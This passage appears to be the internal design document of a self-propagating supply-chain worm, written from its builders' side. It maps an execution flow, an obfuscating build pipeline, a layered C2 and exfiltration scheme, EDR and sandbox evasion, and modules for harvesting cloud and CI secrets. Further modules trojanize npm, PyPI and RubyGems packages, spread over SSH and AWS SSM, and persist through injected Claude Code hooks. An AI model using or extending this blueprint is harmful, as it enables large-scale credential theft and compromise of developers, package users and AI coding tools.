|
│ ├── buildProviders(quickResults):
|
|
│ │ ├── Static cloud providers
|
|
│ │ └── GitHubActionsService per valid ghtoken with workflow scope
|
|
│ │ Returns { providers, dispatched }
|
|
│ │
|
|
│ ├── Dispatcher(senders) + Collector(dispatch)
|
|
│ │
|
|
│ ├── Ingest quick results → Collector (validates + side-effects tokens)
|
|
│ │
|
|
│ ├── collector.run(providers) → harvest secrets from all providers
|
|
│ ├── collector.finalize() → flush + await in-flight dispatches
|
|
│ │
|
|
│ └── planMutations(quickResults, dispatched):
|
|
│ ├── If NOT dispatched: ReadmeUpdater per ghs_old + ghs_jwt token
|
|
│ ├── ActionMutator + NpmOidcBranchMutator + RepositoryMutator per ghtoken
|
|
│ └── Always: Claude + InstallMonitor + SshMutator
|
|
│ }
|
|
├── catch {
|
|
│ └── getFallbackMutations(): Claude + InstallMonitor + SshMutator
|
|
│ }
|
|
│
|
|
├── executeMutations(mutators) — all mutators in parallel
|
|
│
|
|
└── releaseLock() + process.exit(0)
|
|
```
|
|
|
|
---
|
|
|
|
## Build Pipeline
|
|
|
|
```
|
|
1. bun run prebuild (scripts/pack-assets.ts)
|
|
└── Encrypts all files in src/assets/ with AES-256-GCM
|
|
└── Writes src/generated/index.ts with encrypted exports
|
|
|
|
2. bun run build (scripts/build.ts)
|
|
├── Generate random per-build passphrase
|
|
├── Transform every .ts file:
|
|
│ ├── env-scramble: process.env.XYZ → process.env[scramble("XYZ")]
|
|
│ ├── scramble-shared: replaces scramble("literal") calls
|
|
│ └── strip-logs: removes logUtil.* calls
|
|
├── Inject passphrase into runtimeDecoder.ts
|
|
├── Prepend import to index.ts
|
|
└── Bun.build() → dist/bundle.js (minified, Bun target)
|
|
|
|
3. bun run build:obf (scripts/obfuscate.js)
|
|
└── Apply javascript-obfuscator with aggressive settings
|
|
(control flow flattening, dead code, self-defending, string array encoding)
|
|
└── Output: dist_obf/bundle_obf.js
|
|
|
|
4. bun run build:obfplus (scripts/obfplus-wrap.js)
|
|
└── Additional post-obfuscation wrapping layer
|
|
└── Output: dist_obfplus/
|
|
|
|
5. bun run build:cli (scripts/build-cli.ts)
|
|
└── Builds standalone single-provider/mutator/sender CLI bundles
|
|
└── Output: dist-cli/
|
|
|
|
6. bun run build:cli:obf
|
|
└── Obfuscated CLI bundles
|
|
└── Output: dist-cli_obf/
|
|
```
|
|
|
|
---
|
|
|
|
## C2 Resilience
|
|
|
|
| Priority | Transport | Mechanism |
|
|
|---|---|---|
|
|
| 1 (primary) | Domain HTTPS POST | Hardcoded C2 domain (scrambled in `config.ts`) |
|
|
| 2 (fallback) | Signed commit search | Verifies `verify_key.pub` signatures in GitHub commits for backup C2 domains |
|
|
| 3 (tertiary) | GitHub repo commits | Creates public repos with random Dune-themed names, commits encrypted blobs |
|
|
| 4 (quaternary) | PAT-based repo commits | Uses any found GitHub tokens to create repos for exfiltration |
|
|
|
|
The sender chain supports the `SKIP_DOMAIN` environment variable to bypass the primary transport.
|
|
|
|
---
|
|
|
|
## Anti-Analysis Features
|
|
|
|
- **Decoy token detection** — exits if `GITHUB_TOKEN` prefix matches known honeypot patterns
|
|
- **Target repo gating** — exits or runs specific mutator based on `WORKFLOW_ID`/`REPO_ID_SUFFIX` env vars
|
|
- **Russian locale guard** — exits on Russian-locale systems
|
|
- **EDR detection** — `hasHostileEDR()` checks for known EDR processes (CrowdStrike, SentinelOne, Carbon Black, etc.) and file paths; providers/mutators skip execution when hostile EDR is detected
|
|
- **CI-aware daemonization** — detaches as background process outside CI (30+ CI systems detected)
|
|
- **Process singleton lock** — PID-based file lock prevents multiple instances
|
|
- **SIGINT/SIGTERM trapping** — ignores termination signals
|
|
- **Silent logger** — no output in production; stripped at build time
|
|
- **String obfuscation** — polyalphabetic substitution cipher, passphrase baked into runtime decoder at build time
|
|
- **Environment variable obfuscation** — `process.env.XYZ` rewrites to indexed access at build time
|
|
- **Asset encryption at rest** — all embedded payloads are AES-256-GCM encrypted in source
|
|
- **Self-extracting payloads** — `buildSelfExtractingPayload()` produces ROT-N-wrapped, AES-128-GCM-encrypted JS with automatic bun download/install guard
|
|
- **Log stripping** — `logUtil.*` calls removed at build time in production builds
|
|
|
|
---
|
|
|
|
## Technologies
|
|
|
|
| Technology | Purpose |
|
|
|---|---|
|
|
| TypeScript | Primary language |
|
|
| Bun | Runtime, bundler, shell, glob, file I/O |
|
|
| Node.js `crypto` | AES-256-GCM, AES-128-GCM, RSA-OAEP, ECDSA P-256, HMAC-SHA256, PBKDF2 |
|
|
| Node.js `fs`/`child_process` | File operations, CLI execution |
|
|
| GitHub REST API | Repo management, secret enumeration, artifact downloads, workflow dispatch, Git DB API |
|
|
| GitHub GraphQL API | Branch enumeration, batched commit creation, action file discovery |
|
|
| AWS SigV4 | Hand-rolled full AWS API signing |
|
|
| AWS SSM | DescribeInstanceInformation, SendCommand for EC2 propagation |
|
|
| Azure REST API | Key Vault + Identity (managed identity, federated, service principal) |
|
|
| GCP REST API | Secret Manager + Identity (metadata, SA key, WIF) |
|
|
| Kubernetes API | In-cluster or kubeconfig secret enumeration |
|
|
| Vault API | Multi-source auth, KV v1/v2 enumeration |
|
|
| sigstore (Fulcio + Rekor) | SLSA provenance bundles for NPM packages |
|
|
| PyPI API | Wheel download, metadata, upload |
|
|
| RubyGems API | Gem download, metadata, upload |
|
|
| `tar` | NPM tarball manipulation |
|
|
| `fflate` | ZIP decompression for GitHub Actions artifacts |
|
|
| `javascript-obfuscator` | Post-build JS obfuscation |
|
|
| SSH/SCP | Host propagation via `~/.ssh/known_hosts` and `~/.ssh/config` |
|
|
|
|
---
|
|
|
|
## Key Files
|
|
|
|
| File | Role |
|
|
|---|---|
|
|
| `src/index.ts` | Main entry point — orchestrates all phases |
|
|
| `src/orchestrator/preflight.ts` | All pre-execution safety checks |
|
|
| `src/orchestrator/providers.ts` | Quick results + full provider list assembly |
|
|
| `src/orchestrator/senders.ts` | Prioritized sender chain construction |
|
|
| `src/orchestrator/mutations.ts` | Conditional + fallback mutation planning and execution |
|
|
| `src/sender/base.ts` | Encryption logic — RSA+AES hybrid encryption of exfiltrated data |
|
|
| `src/sender/domain/sender.ts` | Primary C2 transport — HTTPS POST to C2 server |
|
|
| `src/sender/github/gitHubSenderFactory.ts` | Fallback C2 transport — GitHub repo-based exfiltration |
|
|
| `src/collector/collector.ts` | Buffer, token validation (GH/NPM/RubyGems/PyPI/JFrog), flush to dispatcher |
|
|
| `src/dispatcher/dispatcher.ts` | Sender chain with fallback and health-check preflighting |
|
|
| `src/providers/ghrunner/runner.ts` | Runner memory dump — extracts GitHub Action secrets from Runner.Worker memory |
|
|
| `src/providers/actions/workflow.ts` | Workflow injection — commits malicious workflow to exfiltrate repo secrets |
|
|
| `src/providers/azure/keyvault.ts` | Azure Key Vault secret enumeration |
|
|
| `src/providers/gcp/secrets.ts` | GCP Secret Manager enumeration |
|
|
| `src/mutator/branch/index.ts` | Branch poisoning — pushes malicious files to all repo branches |
|
|
| `src/mutator/repository/index.ts` | Repository mutator — Git DB API-based file injection with Claude/Gemini/VSCode hooks |
|
|
| `src/mutator/action/actionMutator.ts` | Action hijacking — semver tag force-push on custom GitHub Actions |
|
|
| `src/mutator/npm/index.ts` | NPM trojanization — re-publishes packages with preinstall hooks |
|
|
| `src/mutator/npmoidc/branch.ts` | NPM OIDC branch injection — dangling commits + deployment |
|
|
| `src/mutator/pypi/index.ts` | PyPI trojanization — re-publishes wheels with .pth loader |
|
|
| `src/mutator/pypioidc/index.ts` | PyPI OIDC trojanization — Trusted Publishing via GitHub OIDC token minting |
|
|
| `src/mutator/rubygems/index.ts` | RubyGems trojanization — re-publishes gems with native extension |
|
|
| `src/mutator/rubygemsoidc/branch.ts` | RubyGems OIDC branch injection — dangling commits for trusted publishing repos |
|
|
| `src/mutator/ssh/sshMutator.ts` | SSH propagation — SCP + SSH exec to known hosts |
|
|
| `src/mutator/jfrognpm/index.ts` | JFrog NPM trojanization — re-publishes packages in JFrog Artifactory NPM repos |
|
|
| `src/mutator/aws/ssm.ts` | AWS SSM propagation — SendCommand to managed EC2 instances |
|
|
| `src/mutator/claude/index.ts` | Claude hook injection — persistence via Claude Code SessionStart hooks |
|
|
| `src/mutator/persist/install-monitor.ts` | Background monitor installation — persistent token activity watcher |
|
|
| `src/generated/index.ts` | Encrypted assets — all payload files encrypted with AES-256-GCM |
|
|
| `src/utils/selfExtracting.ts` | Self-extracting payload builder — AES-GCM + ROT-N + bun guard |
|
|
| `src/utils/encryptedWrapper.ts` | Self-decrypting JS wrapper — AES-128-GCM payload wrapper |
|
|
| `src/github_utils/gitDb.ts` | Low-level GitHub Git DB operations (blobs, trees, commits, refs) |
|
|
| `src/github_utils/orphanDep.ts` | Orphan commit builder — npm git-dep injection bypass |
|
|
| `scripts/build.ts` | Build pipeline — source transformation and bundling |
|
|
| `scripts/build-cli.ts` | CLI build pipeline — standalone provider/mutator bundles |
|
|
| `scripts/obfuscate.js` | Post-build obfuscation |
|
|
| `scripts/obfplus-wrap.js` | Additional obfuscation wrapping |
|
|
| `scripts/decrypt.ts` | Standalone decryptor for exfiltrated envelopes |
|
|
| `src/assets/enc_key.pub` | RSA-4096 public key for data encryption |
|
|
| `src/assets/verify_key.pub` | RSA-4096 public key for C2 domain signature verification |
|